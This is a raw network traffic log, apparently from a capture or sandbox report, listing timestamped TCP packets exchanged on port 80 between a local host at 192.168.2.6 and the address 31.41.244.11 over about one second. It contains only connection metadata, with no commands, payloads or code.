Dec 19, 2024 08:09:23.816406965 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.816514015 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.816562891 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.817842960 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.817982912 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.818032980 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.819207907 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.819310904 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.819367886 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.820673943 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.820749044 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.820780993 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.821147919 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.822083950 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.822199106 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.822226048 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.822256088 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.823467970 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.823576927 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.823621988 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.824894905 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.824997902 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.825043917 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.826316118 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.826430082 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.826478958 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.828032017 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.828047037 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.828078032 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.828121901 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.829166889 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.829212904 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.829277039 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.829363108 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.830547094 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.830602884 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.830651999 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.830903053 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.832043886 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.832091093 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.832130909 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.832170010 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.833389997 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.833434105 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.833473921 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.833518028 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.834831953 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.834954023 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.835005045 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.836261034 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.836329937 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.836376905 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.836422920 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.837687969 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.837738037 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.837779999 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.839101076 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.839152098 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.839180946 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.840550900 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.840629101 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.840682030 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.840764999 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.841918945 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.842103958 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.842159033 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.844357014 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.845330954 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.845410109 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.847099066 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.847114086 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.847176075 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.847260952 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.847445965 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.847491026 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.847790956 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.847805023 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.847837925 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.847873926 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.848997116 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.849047899 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.849158049 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.850436926 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.850516081 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.850517988 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.851068020 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.851833105 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.851922989 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.851967096 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.852063894 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.856180906 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.856730938 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.974040985 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.974117994 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.974172115 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.974246979 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.974606037 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.974673033 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.974710941 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.974764109 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.975833893 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.975872993 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.975923061 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.977135897 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.977225065 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.977257967 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.977353096 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.978324890 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.978435993 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.978488922 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.979552984 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.979629993 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.979676008 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.979758024 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.980807066 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.980866909 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.980909109 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.981002092 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.982081890 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.982166052 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.982217073 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.983340979 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.983433962 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.983444929 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.983711958 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.984558105 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.984607935 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.984654903 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.984783888 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.985790014 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.985841990 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.985893965 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.986032963 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.987035990 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.987097979 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.987170935 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.987217903 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.988287926 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.988348961 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.988434076 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.988517046 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.989526033 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.989607096 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.989624023 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.989710093 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.990791082 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.990848064 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.990890026 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.991025925 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.992038965 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.992093086 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.992135048 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.992291927 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.993290901 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.993341923 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.993417025 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.993480921 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.994530916 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.994623899 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.994653940 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.994683027 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.995769024 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.995824099 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.995868921 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.996335983 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.997277021 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.997353077 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.997364998 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.997517109 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.998325109 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.998368979 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.998446941 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.998514891 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.999636889 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.999684095 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.999715090 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.999747992 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.000778913 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.000828028 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.000871897 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.000917912 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.002019882 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.002132893 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.002140999 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.002172947 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.003307104 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.003355980 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.003379107 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.003431082 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.004522085 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.004595995 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.004610062 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.004709959 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.005745888 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.005788088 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.005817890 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.005870104 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.006994009 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.007105112 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.007122993 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.007169962 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.008229017 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.008316040 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.008354902 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.008399963 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.009481907 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.009536982 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.009582996 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.009643078 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.010754108 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.010804892 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.010854959 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.010910034 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.011982918 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.012033939 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.012100935 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.012147903 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.013257027 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.013355970 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.013377905 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.013458967 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.014488935 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.014558077 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.014590025 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.014636040 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.015708923 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.015836000 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.015882015 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.016969919 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.017034054 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.017062902 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.017115116 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.018219948 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.018269062 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.018336058 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.018398046 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.019493103 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.019576073 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.019601107 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.019680023 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.020720959 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.020837069 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.020876884 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.020900965 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.021960020 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.022033930 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.022064924 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.022118092 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.023243904 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.023303032 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.023432970 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.023493052 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.024494886 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.024590015 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.024609089 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.024645090 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.025754929 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.025808096 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.025856018 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.026614904 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.026957035 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.027009964 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.027051926 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.027096987 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.028177977 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.028243065 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.028285980 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.028337955 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.029484034 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.029536963 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.029561043 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.029599905 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.030698061 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.030762911 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.030803919 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.030972004 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.031963110 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.032049894 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.032108068 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.033189058 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.033242941 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.033246994 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.033329010 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.034445047 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.034498930 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.034538984 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.034581900 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.035670042 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.035801888 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.035859108 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.036921024 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.036969900 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.037019968 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.037065029 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.038233995 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.038273096 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.038285971 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.038337946 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.039393902 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.039453983 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.167047977 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.167126894 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.167196035 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.167253017 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.167537928 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.167594910 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.167711020 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.167814970 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.168853045 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.168901920 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.168943882 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.168989897 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.169146061 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.169265985 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.169321060 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.170425892 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.170475006 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.170488119 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.170540094 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.171588898 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.171652079 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.171695948 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.171768904 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.172795057 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.172869921 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.172905922 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.172950029 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.174077034 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.174138069 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.174163103 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.174212933 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.175220966 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.175280094 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.175339937 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.175399065 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.176450968 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.176523924 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.176553011 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.176676035 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.177680016 CET	80	49839	31.41.244.11	192.168.2.6
